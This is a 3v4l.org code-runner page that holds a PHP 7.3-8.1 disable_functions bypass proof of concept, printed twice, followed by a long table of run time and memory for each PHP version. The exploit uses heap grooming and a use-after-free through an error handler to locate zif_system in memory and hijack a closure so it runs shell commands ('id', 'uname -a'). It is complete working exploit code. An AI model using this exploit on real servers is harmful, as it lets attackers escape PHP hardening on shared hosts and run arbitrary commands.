3v4l.org

run code in 300+ PHP versions simultaneously
<?php new Pwn("id"); class Helper { public $a, $b, $c; } class Pwn { const LOGGING = false; const CHUNK_DATA_SIZE = 0x60; const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE; const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1; const HT_SIZE = 0x118; const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1; public function __construct($cmd) { for($i = 0; $i < 10; $i++) { $groom[] = self::alloc(self::STRING_SIZE); $groom[] = self::alloc(self::HT_STRING_SIZE); } $concat_str_addr = self::str2ptr($this->heap_leak(), 16); $fill = self::alloc(self::STRING_SIZE); $this->abc = self::alloc(self::STRING_SIZE); $abc_addr = $concat_str_addr + self::CHUNK_SIZE; self::log("abc @ 0x%x", $abc_addr); $this->free($abc_addr); $this->helper = new Helper; if(strlen($this->abc) < 0x1337) { self::log("uaf failed"); return; } $this->helper->a = "leet"; $this->helper->b = function($x) {}; $this->helper->c = 0xfeedface; $helper_handlers = $this->rel_read(0); self::log("helper handlers @ 0x%x", $helper_handlers); $closure_addr = $this->rel_read(0x20); self::log("real closure @ 0x%x", $closure_addr); $closure_ce = $this->read($closure_addr + 0x10); self::log("closure class_entry @ 0x%x", $closure_ce); $basic_funcs = $this->get_basic_funcs($closure_ce); self::log("basic_functions @ 0x%x", $basic_funcs); $zif_system = $this->get_system($basic_funcs); self::log("zif_system @ 0x%x", $zif_system); $fake_closure_off = 0x70; for($i = 0; $i < 0x138; $i += 8) { $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->rel_write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->rel_write($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18; self::log("fake closure @ 0x%x", $fake_closure_addr); $this->rel_write(0x20, $fake_closure_addr); ($this->helper->b)($cmd); $this->rel_write(0x20, $closure_addr); unset($this->helper->b); } private function heap_leak() { $arr = [[], []]; set_error_handler(function() use (&$arr, &$buf) { $arr = 1; $buf = str_repeat("\x00", self::HT_STRING_SIZE); }); $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array")); return $buf; } private function free($addr) { $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload)); $arr = [[], []]; set_error_handler(function() use (&$arr, &$buf, &$payload) { $arr = 1; $buf = str_repeat($payload, 1); }); $arr[1] .= "x"; } private function rel_read($offset) { return self::str2ptr($this->abc, $offset); } private function rel_write($offset, $value, $n = 8) { for ($i = 0; $i < $n; $i++) { $this->abc[$offset + $i] = chr($value & 0xff); $value >>= 8; } } private function read($addr, $n = 8) { $this->rel_write(0x10, $addr - 0x10); $value = strlen($this->helper->a); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; } private function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += 0x20; } while($f_entry !== 0); } private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20180731, 20190902, 20200930, 20210902])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { self::log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } } private function log($format, $val = "") { if(self::LOGGING) { printf("{$format}\n", $val); } } static function alloc($size) { return str_shuffle(str_repeat("A", $size)); } static function str2ptr($str, $p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p + $j]); } return $address; } } ?><?php # PHP 7.3-8.1 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=81705 # # This exploit should work on all PHP 7.3-8.1 versions # released as of 2022-01-07 # # Author: https://github.com/mm0r1 new Pwn("uname -a"); class Helper { public $a, $b, $c; } class Pwn { const LOGGING = false; const CHUNK_DATA_SIZE = 0x60; const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE; const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1; const HT_SIZE = 0x118; const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1; public function __construct($cmd) { for($i = 0; $i < 10; $i++) { $groom[] = self::alloc(self::STRING_SIZE); $groom[] = self::alloc(self::HT_STRING_SIZE); } $concat_str_addr = self::str2ptr($this->heap_leak(), 16); $fill = self::alloc(self::STRING_SIZE); $this->abc = self::alloc(self::STRING_SIZE); $abc_addr = $concat_str_addr + self::CHUNK_SIZE; self::log("abc @ 0x%x", $abc_addr); $this->free($abc_addr); $this->helper = new Helper; if(strlen($this->abc) < 0x1337) { self::log("uaf failed"); return; } $this->helper->a = "leet"; $this->helper->b = function($x) {}; $this->helper->c = 0xfeedface; $helper_handlers = $this->rel_read(0); self::log("helper handlers @ 0x%x", $helper_handlers); $closure_addr = $this->rel_read(0x20); self::log("real closure @ 0x%x", $closure_addr); $closure_ce = $this->read($closure_addr + 0x10); self::log("closure class_entry @ 0x%x", $closure_ce); $basic_funcs = $this->get_basic_funcs($closure_ce); self::log("basic_functions @ 0x%x", $basic_funcs); $zif_system = $this->get_system($basic_funcs); self::log("zif_system @ 0x%x", $zif_system); $fake_closure_off = 0x70; for($i = 0; $i < 0x138; $i += 8) { $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i)); } $this->rel_write($fake_closure_off + 0x38, 1, 4); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68; $this->rel_write($fake_closure_off + $handler_offset, $zif_system); $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18; self::log("fake closure @ 0x%x", $fake_closure_addr); $this->rel_write(0x20, $fake_closure_addr); ($this->helper->b)($cmd); $this->rel_write(0x20, $closure_addr); unset($this->helper->b); } private function heap_leak() { $arr = [[], []]; set_error_handler(function() use (&$arr, &$buf) { $arr = 1; $buf = str_repeat("\x00", self::HT_STRING_SIZE); }); $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array")); return $buf; } private function free($addr) { $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr); $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload)); $arr = [[], []]; set_error_handler(function() use (&$arr, &$buf, &$payload) { $arr = 1; $buf = str_repeat($payload, 1); }); $arr[1] .= "x"; } private function rel_read($offset) { return self::str2ptr($this->abc, $offset); } private function rel_write($offset, $value, $n = 8) { for ($i = 0; $i < $n; $i++) { $this->abc[$offset + $i] = chr($value & 0xff); $value >>= 8; } } private function read($addr, $n = 8) { $this->rel_write(0x10, $addr - 0x10); $value = strlen($this->helper->a); if($n !== 8) { $value &= (1 << ($n << 3)) - 1; } return $value; } private function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += 0x20; } while($f_entry !== 0); } private function get_basic_funcs($addr) { while(true) { // In rare instances the standard module might lie after the addr we're starting // the search from. This will result in a SIGSGV when the search reaches an unmapped page. // In that case, changing the direction of the search should fix the crash. // $addr += 0x10; $addr -= 0x10; if($this->read($addr, 4) === 0xA8 && in_array($this->read($addr + 4, 4), [20180731, 20190902, 20200930, 20210902])) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if($module_name === 0x647261646e617473) { self::log("standard module @ 0x%x", $addr); return $this->read($addr + 0x28); } } } } private function log($format, $val = "") { if(self::LOGGING) { printf("{$format}\n", $val); } } static function alloc($size) { return str_shuffle(str_repeat("A", $size)); } static function str2ptr($str, $p = 0, $n = 8) { $address = 0; for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p + $j]); } return $address; } } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.4.20.0430.00918.01
8.4.10.0410.00917.96
8.3.160.0200.00018.75
8.3.150.0460.00516.63
8.3.140.0360.00916.95
8.3.130.0290.00217.04
8.3.120.0330.00716.86
8.3.110.0320.01316.63
8.3.100.0400.00816.58
8.3.90.0390.00816.52
8.3.80.0340.01216.56
8.3.70.0430.00916.76
8.3.60.0230.01116.77
8.3.50.0290.00516.71
8.3.40.0240.00617.60
8.3.30.0260.00717.57
8.3.20.0290.01217.64
8.3.10.0280.01317.73
8.3.00.0140.01319.27
8.2.270.0250.00816.83
8.2.260.0260.01016.65
8.2.250.0290.00917.05
8.2.240.0260.00916.56
8.2.230.0200.01016.77
8.2.220.0330.00216.72
8.2.210.0310.00716.55
8.2.200.0320.00816.84
8.2.190.0380.00516.65
8.2.180.0360.00716.79
8.2.170.0340.01117.86
8.2.160.0350.00617.89
8.2.150.0350.00617.75
8.2.140.0370.01117.55
8.2.130.0320.01317.71
8.2.120.0260.00717.75
8.2.110.0270.00717.59
8.2.100.0310.00717.74
8.2.90.0320.00817.80
8.2.80.0290.01117.61
8.2.70.0260.01217.69
8.2.60.0300.00917.50
8.2.50.0280.01317.59
8.2.40.0270.00817.52
8.2.30.0210.01117.70
8.2.20.0290.00717.53
8.2.10.0220.00917.78
8.2.00.0220.00517.72
8.1.310.0250.04016.88
8.1.300.0360.03116.24
8.1.290.0200.02416.20
8.1.280.0230.03016.43
8.1.270.0170.01317.54
8.1.260.0180.01317.32
8.1.250.0200.01517.53
8.1.240.0340.03817.58
8.1.230.0360.03117.53
8.1.220.0200.02817.47
8.1.210.0150.02717.41
8.1.200.0250.02317.43
8.1.190.0170.01417.31
8.1.180.0130.01817.13
8.1.170.0160.01317.38
8.1.160.0140.01817.21
8.1.150.0270.04117.41
8.1.140.0330.03817.28
8.1.130.0350.03317.07
8.1.120.0200.04717.66
8.1.110.0240.03817.53
8.1.100.0220.03917.59
8.1.90.0290.02617.52
8.1.80.0100.03817.46
8.1.70.0250.01617.53
8.1.60.0160.01417.36
8.1.50.0140.01517.46
8.1.40.0090.02117.57
8.1.30.0140.01517.65
8.1.20.0310.03217.43
8.1.10.0280.03517.25
8.1.00.0240.03717.61
8.0.300.0230.05716.85
8.0.290.0150.01816.98
8.0.280.0130.02016.95
8.0.270.0150.05416.81
8.0.260.0250.03816.61
8.0.250.0250.03816.82
8.0.240.0150.01917.11
8.0.230.0310.03517.05
8.0.220.0290.02716.60
8.0.210.0230.04017.06
8.0.200.0120.02117.05
8.0.190.0140.04816.71
8.0.180.0190.05216.62
8.0.170.0140.02517.04
8.0.160.0260.05016.65
8.0.150.0470.03116.51
8.0.140.0360.04316.61
8.0.130.0300.03316.91
8.0.120.0180.04316.59
8.0.110.0320.04716.54
8.0.100.0310.04116.68
8.0.90.0100.02316.82
8.0.80.0290.04316.52
8.0.70.0130.02316.79
8.0.60.0100.02516.75
8.0.50.0190.04516.77
8.0.30.0300.04416.96
8.0.20.0240.03216.96
8.0.10.0040.03417.03
8.0.00.0120.02116.98
7.4.330.0160.01916.73
7.4.320.0140.01416.54
7.4.300.0070.02316.52
7.4.290.0190.03816.29
7.4.280.0250.04016.57
7.4.270.0230.03016.75
7.4.260.0130.01616.55
7.4.250.0130.01616.59
7.4.240.0110.01816.54
7.4.230.0190.04516.39
7.4.220.0250.02616.55
7.4.210.0230.04416.21
7.4.200.0270.04116.51
7.4.190.0190.04816.35
7.4.180.0220.04516.66
7.4.160.0260.03716.43
7.4.150.0260.03616.43
7.4.140.0260.03716.18
7.4.130.0290.03316.38
7.4.120.0190.03916.43
7.4.110.0230.04216.61
7.4.100.0230.03916.63
7.4.90.0140.05016.30
7.4.80.0100.05416.30
7.4.70.0190.03316.49
7.4.60.0180.04316.28
7.4.50.0260.04316.24
7.4.40.0210.04116.30
7.4.30.0290.03616.32
7.4.20.0170.02316.20
7.4.10.0320.03616.33
7.4.00.0230.04116.26
7.3.330.0320.03916.17
7.3.320.0220.02516.44
7.3.310.0200.04716.42
7.3.300.0210.03216.37
7.3.290.0210.02816.27
7.3.280.0110.02616.09
7.3.270.0280.03516.26
7.3.260.0220.01916.24
7.3.250.0120.01716.22
7.3.240.0120.01716.29
7.3.230.0190.05616.23
7.3.220.0290.03016.18
7.3.210.0160.03516.43
7.3.200.0290.03716.52
7.3.190.0260.03916.46
7.3.180.0260.04116.16
7.3.170.0250.03816.32
7.3.160.0280.03516.23
7.3.150.0150.03416.34
7.3.140.0190.04416.05
7.3.130.0130.03216.21
7.3.120.0230.04216.09
7.3.110.0240.04215.91
7.3.100.0280.02916.06
7.3.90.0110.01816.36
7.3.80.0120.01716.43
7.3.70.0210.02816.32
7.3.60.0220.03516.28
7.3.50.0170.05016.40
7.3.40.0240.04216.23
7.3.30.0270.03616.45
7.3.20.0220.03817.98
7.3.10.0100.03718.18
7.3.00.0230.04317.85
7.2.340.0220.01016.38
7.2.330.0260.00716.20
7.2.320.0190.01316.51
7.2.310.0220.00716.27
7.2.300.0130.00416.31
7.2.290.0100.00516.28
7.2.280.0170.00416.29
7.2.270.0110.00416.30
7.2.260.0090.00616.36
7.2.250.0120.00316.30
7.2.240.0190.00816.38
7.2.230.0220.00916.20
7.2.220.0250.01116.36
7.2.210.0220.01116.25
7.2.200.0210.01216.36
7.2.190.0260.01016.20
7.2.180.0260.01516.09
7.2.170.0230.00816.51
7.2.160.0300.00016.43
7.2.150.0300.00417.96
7.2.140.0220.01117.91
7.2.130.0270.00718.38
7.2.120.0310.00418.32
7.2.110.0220.01118.21
7.2.100.0270.00718.42
7.2.90.0270.01018.01
7.2.80.0260.00318.10
7.2.70.0160.01118.28
7.2.60.0250.00718.09
7.2.50.0320.00418.25
7.2.40.0260.01218.43
7.2.30.0210.01118.36
7.2.20.0240.00818.21
7.2.10.0200.01218.25
7.2.00.0290.00318.49
7.1.330.0290.00016.99
7.1.320.0180.00717.16
7.1.310.0220.00617.25
7.1.300.0190.01017.21
7.1.290.0230.00717.29
7.1.280.0190.01016.95
7.1.270.0270.00417.14
7.1.260.0220.00517.30
7.1.250.0240.00816.73
7.1.240.0240.00817.16
7.1.230.0220.00517.19
7.1.220.0100.00717.00
7.1.210.0170.00316.76
7.1.200.0230.00717.05
7.1.190.0190.00817.34
7.1.180.0230.00517.15
7.1.170.0220.00917.22
7.1.160.0230.00616.96
7.1.150.0240.00917.24
7.1.140.0220.00717.24
7.1.130.0220.00617.16
7.1.120.0200.01017.09
7.1.110.0250.00417.26
7.1.100.0280.00616.96
7.1.90.0230.01016.87
7.1.80.0260.00417.12
7.1.70.0190.01117.04
7.1.60.0240.00517.23
7.1.50.0250.00417.13
7.1.40.0220.00417.07
7.1.30.0140.01416.74
7.1.20.0210.01116.88
7.1.10.0290.00017.26
7.1.00.0250.00017.18
7.0.330.0150.00716.76
7.0.320.0190.00416.69
7.0.310.0210.01116.62
7.0.300.0190.01116.23
7.0.290.0160.01216.64
7.0.280.0240.00416.93
7.0.270.0220.00616.94
7.0.260.0190.01016.91
7.0.250.0180.01116.76
7.0.240.0270.00416.70
7.0.230.0250.00916.62
7.0.220.0250.00317.02
7.0.210.0170.01217.04
7.0.200.0170.01116.85
7.0.190.0220.00617.09
7.0.180.0280.00016.70
7.0.170.0110.01816.88
7.0.160.0280.00016.56
7.0.150.0270.00416.74
7.0.140.0310.00016.75
7.0.130.0220.00717.14
7.0.120.0280.00316.75
7.0.110.0270.00316.75
7.0.100.0200.00716.88
7.0.90.0200.00916.45
7.0.80.0260.00316.62
7.0.70.0250.00316.76
7.0.60.0160.01216.69
7.0.50.0190.00916.64
7.0.40.0220.00916.46
7.0.30.0180.01116.75
7.0.20.0160.01216.71
7.0.10.0260.00316.69
7.0.00.0250.00316.87
5.6.400.0280.00015.33
5.6.390.0180.01215.59
5.6.380.0250.00715.41
5.6.370.0220.01115.46
5.6.360.0400.00615.48
5.6.350.0260.00315.34
5.6.340.0180.01115.27
5.6.330.0180.01115.40
5.6.320.0250.01015.29
5.6.310.0220.00615.32
5.6.300.0270.00015.18
5.6.290.0140.01115.47
5.6.280.0220.00615.42
5.6.270.0250.00415.54
5.6.260.0210.00715.46
5.6.250.0240.00415.43
5.6.240.0260.00814.99
5.6.230.0220.01115.44
5.6.220.0200.00915.36
5.6.210.0290.00015.46
5.6.200.0220.00715.59
5.6.190.0220.00815.55
5.6.180.0300.00015.69
5.6.170.0250.00415.49
5.6.160.0200.01015.60
5.6.150.0250.00415.20
5.6.140.0210.00715.51
5.6.130.0260.00315.65
5.6.120.0140.01415.43
5.6.110.0220.00415.47
5.6.100.0160.01615.25
5.6.90.0300.00015.55
5.6.80.0200.00815.45
5.6.70.0260.00315.42
5.6.60.0200.00815.31
5.6.50.0290.00915.44
5.6.40.0230.00415.26
5.6.30.0140.01415.54
5.6.20.0270.00315.32
5.6.10.0220.00615.45
5.6.00.0240.00315.57
5.5.380.0220.00615.53
5.5.370.0260.00315.54
5.5.360.0200.00815.21
5.5.350.0240.00415.27
5.5.340.0130.01615.26
5.5.330.0260.00415.39
5.5.320.0250.00415.34
5.5.310.0240.00415.38
5.5.300.0210.00915.29
5.5.290.0120.01215.34
5.5.280.0220.00615.26
5.5.270.0250.00815.17
5.5.260.0250.00415.25
5.5.250.0220.00615.25
5.5.240.0230.00415.54
5.5.230.0200.00715.12
5.5.220.0210.00615.29
5.5.210.0190.01415.39
5.5.200.0300.00415.00
5.5.190.0260.00315.07
5.5.180.0230.00415.25
5.5.170.0150.00615.14
5.5.160.0270.00015.04
5.5.150.0180.00915.25
5.5.140.0190.00815.02
5.5.130.0140.01415.28
5.5.120.0240.00415.06
5.5.110.0240.00315.21
5.5.100.0180.00915.22
5.5.90.0180.00915.33
5.5.80.0180.00915.52
5.5.70.0190.00815.44
5.5.60.0210.00315.55
5.5.50.0190.00315.49
5.5.40.0190.00515.44
5.5.30.0210.00715.44
5.5.20.0270.00215.28
5.5.10.0170.01415.23
5.5.00.0260.00715.11
5.4.450.0210.00313.75
5.4.440.0220.00013.75
5.4.430.0180.00413.75
5.4.420.0140.00813.75
5.4.410.0190.00313.75
5.4.400.0180.00313.75
5.4.390.0180.00413.75
5.4.380.0180.00313.75
5.4.370.0180.00413.75
5.4.360.0190.00313.75
5.4.350.0150.00713.75
5.4.340.0210.00013.75
5.4.330.0190.00313.75
5.4.320.0180.00413.75
5.4.310.0180.00413.75
5.4.300.0180.00313.75
5.4.290.0170.00013.75
5.4.280.0180.00313.75
5.4.270.0170.00313.75
5.4.260.0180.00013.75
5.4.250.0120.00013.75
5.4.240.0160.00713.75
5.4.230.0160.00613.75
5.4.220.0180.00713.75
5.4.210.0140.00313.75
5.4.200.0140.00913.75
5.4.190.0280.00013.75
5.4.180.0170.00313.75
5.4.170.0110.00713.75
5.4.160.0180.00013.75
5.4.150.0140.00613.75
5.4.140.0140.01013.75
5.4.130.0110.01113.75
5.4.120.0180.00413.75
5.4.110.0180.00313.75
5.4.100.0170.00413.75
5.4.90.0190.00313.75
5.4.80.0170.00413.75
5.4.70.0140.00713.75
5.4.60.0180.00413.75
5.4.50.0180.00313.75
5.4.40.0190.00313.75
5.4.30.0110.00013.75
5.4.20.0190.00313.75
5.4.10.0180.00413.75
5.4.00.0140.00713.75
5.3.290.0180.00313.75
5.3.280.0160.00513.75
5.3.270.0200.00813.75
5.3.260.0170.00813.75
5.3.250.0180.00413.75
5.3.240.0240.00313.75
5.3.230.0150.00713.75
5.3.220.0180.00413.75
5.3.210.0110.01113.75
5.3.200.0130.01313.75
5.3.190.0190.00313.75
5.3.180.0160.00713.75
5.3.170.0140.00713.75
5.3.160.0190.00313.75
5.3.150.0180.00313.75
5.3.140.0150.00813.75
5.3.130.0150.00813.75
5.3.120.0170.00713.75
5.3.110.0150.00613.75
5.3.100.0190.00313.75
5.3.90.0170.00513.75
5.3.80.0160.00513.75
5.3.70.0190.00413.75
5.3.60.0180.00313.75
5.3.50.0180.00313.75
5.3.40.0120.00813.75
5.3.30.0190.00213.75
5.3.20.0110.01113.75
5.3.10.0120.00813.75
5.3.00.0150.00513.75
5.2.170.0160.00313.75
5.2.160.0200.00313.75
5.2.150.0130.00413.75
5.2.140.0120.00513.75
5.2.130.0140.00313.75
5.2.120.0170.00013.75
5.2.110.0140.00413.75
5.2.100.0140.00413.75
5.2.90.0180.00013.75
5.2.80.0110.00613.75
5.2.70.0120.00613.75
5.2.60.0140.00313.75
5.2.50.0070.01113.75
5.2.40.0150.00313.75
5.2.30.0170.00413.75
5.2.20.0150.00313.75
5.2.10.0130.00313.75
5.2.00.0170.00013.75
5.1.60.0130.00313.75
5.1.50.0110.00413.75
5.1.40.0100.00613.75
5.1.30.0130.00313.75
5.1.20.0130.00313.75
5.1.10.0090.00613.75
5.1.00.0120.00313.75
5.0.50.0130.00013.75
5.0.40.0110.00313.75
5.0.30.0100.00313.75
5.0.20.0100.00313.75
5.0.10.0100.00313.75
5.0.00.0080.00413.75
4.4.90.0070.00013.75
4.4.80.0080.00013.75
4.4.70.0080.00013.75
4.4.60.0080.00013.75
4.4.50.0080.00013.75
4.4.40.0000.00813.75
4.4.30.0080.00013.75
4.4.20.0040.00413.75
4.4.10.0090.00013.75
4.4.00.0090.00013.75
4.3.110.0040.00413.75
4.3.100.0080.00013.75
4.3.90.0040.00513.75
4.3.80.0060.00213.75
4.3.70.0000.00813.75
4.3.60.0080.00013.75
4.3.50.0080.00013.75
4.3.40.0080.00013.75
4.3.30.0060.00013.75
4.3.20.0000.00713.75
4.3.10.0060.00013.75
4.3.00.0060.00013.75

preferences:
32.57 ms | 403 KiB | 5 Q